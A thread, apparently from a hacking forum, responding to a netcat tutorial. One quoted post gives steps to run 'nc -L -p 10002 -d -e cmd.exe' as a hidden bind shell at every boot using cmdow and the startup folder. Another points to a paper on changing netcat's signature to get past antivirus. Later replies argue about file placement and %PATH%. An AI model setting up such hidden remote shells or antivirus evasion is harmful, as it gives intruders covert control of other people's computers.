Netcat Tutorial

[phreak0ut]

" Even the crappiest antivirus can detect netcat so its only useful for a one shot deal where you don't care if your attack is logged."
A good article on how to avoid AV detection by altering Netcat"s signature can be found at :
http://packetstormsecurity.org/paper...ack_Netcat.pdf

Fletch

This is a great tut! Thanks! Assembly is a bit on the harder side

[fige86]

I
Running netcat on startup hidden [/B]
Make a batch file with the command "nc -L -p 10002 -d -e cmd.exe" in it. Name this file start.bat and place it the root of your C drive. Download the program cmdow.exe. Make a batch file and name it hide.bat. Inside the file type "cmdow /RUN /HID C:\start.bat". Place this file inside the startup folder.
Now everytime the computer boots netcat will start hidden.
]

what do you do with the cmdow.exe ??? do you also put it in the startup folder???
thank you

[KMDave]

Please use some common sense. If you don't know where to put it do some research and learning about how Windows works.

[thorin]

Or simply don't play with things you don't comprehend.

[KMDave]

Or simply don't play with things you don't comprehend.

Just wanted to say it polite

[killadaninja]

what you do with the cmdow.exe ??? do you also put it in the startup folder???
thank you

Im trying not to say anything so ill just say yes put it in your start folder, theres a good boi

[thorin]

Just wanted to say it polite

You're right, I should have been nicer.

@fige86 if you want something to execute then it needs to be in your execution %PATH%.

Im trying not to say anything so ill just say yes put it in your start folder, theres a good boi

Actually I think you're wrong. Looking at the instructions quoted if he put cmdow in the start folder it would then run once as itself (uselessly) and once from hide.bat (which is actually what the original instructions are trying to suggest be placed in the startup folder...IMHO).

[killadaninja]

Actually I think you're wrong. Looking at the instructions quoted if he put cmdow in the start folder it would then run once as itself (uselessly) and once from hide.bat (which is actually what the original instructions are trying to suggest be placed in the startup folder...IMHO).

Thorin it was sarcasm the point was research or try it, now after looking at these instructions quickly

"Make a batch file and name it hide.bat. Inside the file type "cmdow /RUN /HID C:\start.bat". Place this file inside the startup folder."

the hide script just invokes cmdow to run the start.bat so I disagree with you
cmdow.exe would have to be in the same folder as hide.bat ie the startup folder as there is no path within hide.bat to reference cmdow.exe
if you were to want to put cmdow.exe in another folder lets say thorinsprograms the hide.bat would then look like this

C:\thorinsprograms\cmdow /RUN /HID C:\start.bat

[thorin]

sigh

%PATH% is a global environment variable it's available for all command shells.

Open a command prompt and try:

echo %PATH%

[killadaninja]

Thorin your way more knowledgeable on windows batch scripts than me, are you trying to say any batch script in the start up folder wouldnt need a file path to execute a program in the root of c:?